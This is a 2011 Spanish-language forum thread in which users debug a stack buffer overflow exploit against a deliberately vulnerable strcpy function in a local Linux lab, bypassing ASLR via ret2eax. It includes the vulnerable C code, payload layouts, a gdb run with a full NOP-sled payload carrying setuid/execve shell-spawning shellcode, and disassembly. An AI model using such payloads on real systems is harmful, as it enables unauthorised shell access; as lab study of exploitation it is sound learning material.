Switch to full style
Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos
Publicar una respuesta

Jugando con payloads en explotacion de software

Dom May 08, 2011 9:48 pm

Buenas,

Tengo un escenario Linux x86 con ASLR, y el ASLR lo evado mediante un ret2eax. Estoy experimentando varios payloads (@RET apunta siempre justo al principio del buffer):

[shellcode 28][relleno 236] [@RET] -> OK
hasta
[NOP-sled 224][shellcode 28][relleno 12] [@RET] -> OK
[NOP-sled 225][shellcode 28][relleno 11] [@RET] -> Segmentation Fault

¿Alguien podría explicar este comportamiento? ¿Por qué se necesitan al menos 12 bytes de espacio entre shellcode y @RET?

La parte de código vulnerable:

Código:
char *vuln(char *str) {
  char *ptr, buf[256];
  ptr = strcpy(buf, str);  /* overflow */
  return ptr;  /* infoleak */
}


Venga, un saludo.

P.D. Por si a alguien le interesa tengo un video hecho sobre esto en http://www.youtube.com/watch?v=JbCeej1dxHk pero claro, eso de los 12 bytes como minimo es mas que nada una curiosidad.

Re: Jugando con payloads en explotacion de software

Mié May 11, 2011 2:50 pm

Quizas un desensamblado de tu binario y un dump de cuando falla vendria bien para ver que es lo que pasa.

Que tipo de segfault da? En que direccion, que instruccion hay en dicha direccion (si es q es valida), que valores tienen los registros... puede ser algun tipo de alineamiento o algo que pase entre tu escritura usando dichos datos.

Saludos

Re: Jugando con payloads en explotacion de software

Vie May 13, 2011 2:42 am

Hola,

Por si acaso la respuesta era obvia y yo no la veía no quise hacer demasiado grande el mensaje. Pongo más datos.

El segfault da a cada ejecución en una dirección de memoria distinta, por ejemplo con un payload así:

Código:
(gdb) r $(perl -e 'print "\x90"x236,"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80","\x3b\x85\x04\x08"')
Program received signal SIGSEGV, Segmentation fault.
0xbfc0a3c0 in ?? ()


Si miro lo que hay en esa dirección hay basura (si lo estoy haciendo bien), aunque accesible, por lo que deduzco que estoy en alguna zona de mi programa ¿no?

Código:
(gdb) x/b 0xbfc0a3c0
0xbfc0a3c0:      "�k\200���~�"


El contenido varía a cada ejecución.

Adjunto un desensamblado de la función vulnerable:

Código:
(gdb) disas ret2eax
Dump of assembler code for function ret2eax:
0x08048424 <ret2eax+0>: push   %ebp
0x08048425 <ret2eax+1>: mov    %esp,%ebp
0x08048427 <ret2eax+3>: sub    $0x118,%esp
0x0804842d <ret2eax+9>: mov    0x8(%ebp),%eax
0x08048430 <ret2eax+12>:        mov    %eax,0x4(%esp)
0x08048434 <ret2eax+16>:        lea    -0x104(%ebp),%eax
0x0804843a <ret2eax+22>:        mov    %eax,(%esp)
0x0804843d <ret2eax+25>:        call   0x8048340 <[email protected]>
0x08048442 <ret2eax+30>:        mov    %eax,-0x4(%ebp)
0x08048445 <ret2eax+33>:        mov    -0x4(%ebp),%eax
0x08048448 <ret2eax+36>:        leave
0x08048449 <ret2eax+37>:        ret
End of assembler dump.


Sobre hacer un volcado del binario cuando falla, esto es lo que hago en gdb:

Código:
dump binary memory dump.tmp 0xbfc0a3c0 0xbfc0ffff


Pero luego no se que hacer con ese archivo (reconozco no haber usado nunca esa opción de gdb).

Un saludo.

Re: Jugando con payloads en explotacion de software

Sab May 14, 2011 6:19 pm

Jeje, con ese comando has dumpeado la memoria. Pero tampoco nos sirve de mucho... deberia haber sido mas claro en el post anterior :oops:.

Creo que lo mejor es que traces que es lo que pasa tras el strcpy. Pon un breakpoint en la instruccion siguiente, y ve mirando donde falla exactamente. Es posible que esos 12 bytes de 'relleno' se usen para algo, y por ello acaba petando.

Usa el comando display/i $eip , luego b *0x08048442 , luego step varias veces hasta que pete. Con display/i $eip lo que consigues es que a cada step te vaya sacando la instruccion que hay en el sitio donde apunta eip, modo traza de lo que esta pasando. Asi sabremos que es lo que va ejecutando el procesador y a ver si vemos que es lo que pasa exactamente.

SAludos

Re: Jugando con payloads en explotacion de software

Lun May 23, 2011 3:54 am

Ey TuXeD, no pienses que paso del tema, es que he estado de viaje (obligaciones del estado jeje) y no he podido retomar el asunto. En breve respondere con lo que saque en claro.

Un saludo wadalbertitas!
Publicar una respuesta